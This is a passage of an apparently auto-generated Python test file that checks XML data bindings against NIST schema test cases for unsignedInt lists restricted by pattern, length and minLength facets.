instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-2-5.xml",
class_name="NistschemaSvIvListUnsignedIntPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_nistxml_sv_iv_list_unsigned_int_pattern_1_1(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-1-1.xml",
class_name="NistschemaSvIvListUnsignedIntPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_nistxml_sv_iv_list_unsigned_int_pattern_1_2(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-1-2.xml",
class_name="NistschemaSvIvListUnsignedIntPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_nistxml_sv_iv_list_unsigned_int_pattern_1_3(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-1-3.xml",
class_name="NistschemaSvIvListUnsignedIntPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_nistxml_sv_iv_list_unsigned_int_pattern_1_4(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-1-4.xml",
class_name="NistschemaSvIvListUnsignedIntPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_nistxml_sv_iv_list_unsigned_int_pattern_1_5(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-1-5.xml",
class_name="NistschemaSvIvListUnsignedIntPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_4_nistxml_sv_iv_list_unsigned_int_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-5-1.xml",
class_name="NistschemaSvIvListUnsignedIntLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_4_nistxml_sv_iv_list_unsigned_int_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-5-2.xml",
class_name="NistschemaSvIvListUnsignedIntLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_4_nistxml_sv_iv_list_unsigned_int_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-5-3.xml",
class_name="NistschemaSvIvListUnsignedIntLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_4_nistxml_sv_iv_list_unsigned_int_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-5-4.xml",
class_name="NistschemaSvIvListUnsignedIntLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_4_nistxml_sv_iv_list_unsigned_int_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-5-5.xml",
class_name="NistschemaSvIvListUnsignedIntLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_3_nistxml_sv_iv_list_unsigned_int_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-4-1.xml",
class_name="NistschemaSvIvListUnsignedIntLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_3_nistxml_sv_iv_list_unsigned_int_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-4-2.xml",
class_name="NistschemaSvIvListUnsignedIntLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_3_nistxml_sv_iv_list_unsigned_int_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-4-3.xml",
class_name="NistschemaSvIvListUnsignedIntLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_3_nistxml_sv_iv_list_unsigned_int_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-4-4.xml",
class_name="NistschemaSvIvListUnsignedIntLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_3_nistxml_sv_iv_list_unsigned_int_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-4-5.xml",
class_name="NistschemaSvIvListUnsignedIntLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_2_nistxml_sv_iv_list_unsigned_int_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-3-1.xml",
class_name="NistschemaSvIvListUnsignedIntLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_2_nistxml_sv_iv_list_unsigned_int_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-3-2.xml",
class_name="NistschemaSvIvListUnsignedIntLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_2_nistxml_sv_iv_list_unsigned_int_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-3-3.xml",
class_name="NistschemaSvIvListUnsignedIntLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_2_nistxml_sv_iv_list_unsigned_int_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-3-4.xml",
class_name="NistschemaSvIvListUnsignedIntLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_2_nistxml_sv_iv_list_unsigned_int_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-3-5.xml",
class_name="NistschemaSvIvListUnsignedIntLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_1_nistxml_sv_iv_list_unsigned_int_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-2-1.xml",
class_name="NistschemaSvIvListUnsignedIntLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_1_nistxml_sv_iv_list_unsigned_int_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-2-2.xml",
class_name="NistschemaSvIvListUnsignedIntLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_1_nistxml_sv_iv_list_unsigned_int_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-2-3.xml",
class_name="NistschemaSvIvListUnsignedIntLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_1_nistxml_sv_iv_list_unsigned_int_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-2-4.xml",
class_name="NistschemaSvIvListUnsignedIntLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_1_nistxml_sv_iv_list_unsigned_int_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-2-5.xml",
class_name="NistschemaSvIvListUnsignedIntLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_nistxml_sv_iv_list_unsigned_int_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-1-1.xml",
class_name="NistschemaSvIvListUnsignedIntLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_nistxml_sv_iv_list_unsigned_int_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-1-2.xml",
class_name="NistschemaSvIvListUnsignedIntLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_nistxml_sv_iv_list_unsigned_int_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-1-3.xml",
class_name="NistschemaSvIvListUnsignedIntLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_nistxml_sv_iv_list_unsigned_int_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-1-4.xml",
class_name="NistschemaSvIvListUnsignedIntLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_length_nistxml_sv_iv_list_unsigned_int_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-length-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-length-1-5.xml",
class_name="NistschemaSvIvListUnsignedIntLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_4_nistxml_sv_iv_list_unsigned_int_min_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-5-1.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_4_nistxml_sv_iv_list_unsigned_int_min_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-5-2.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_4_nistxml_sv_iv_list_unsigned_int_min_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-5-3.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_4_nistxml_sv_iv_list_unsigned_int_min_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-5-4.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_4_nistxml_sv_iv_list_unsigned_int_min_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-5-5.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_3_nistxml_sv_iv_list_unsigned_int_min_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-4-1.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_3_nistxml_sv_iv_list_unsigned_int_min_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-4-2.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_3_nistxml_sv_iv_list_unsigned_int_min_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-4-3.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_3_nistxml_sv_iv_list_unsigned_int_min_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-4-4.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_3_nistxml_sv_iv_list_unsigned_int_min_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-4-5.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_2_nistxml_sv_iv_list_unsigned_int_min_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-3-1.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_2_nistxml_sv_iv_list_unsigned_int_min_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-3-2.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_2_nistxml_sv_iv_list_unsigned_int_min_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-3-3.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_2_nistxml_sv_iv_list_unsigned_int_min_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-3-4.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_2_nistxml_sv_iv_list_unsigned_int_min_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-3-5.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_1_nistxml_sv_iv_list_unsigned_int_min_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-2-1.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_1_nistxml_sv_iv_list_unsigned_int_min_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-2-2.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_1_nistxml_sv_iv_list_unsigned_int_min_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-2-3.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_1_nistxml_sv_iv_list_unsigned_int_min_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-2-4.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_1_nistxml_sv_iv_list_unsigned_int_min_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-2-5.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_nistxml_sv_iv_list_unsigned_int_min_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-1-1.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_nistxml_sv_iv_list_unsigned_int_min_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-1-2.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_nistxml_sv_iv_list_unsigned_int_min_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-1-3.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
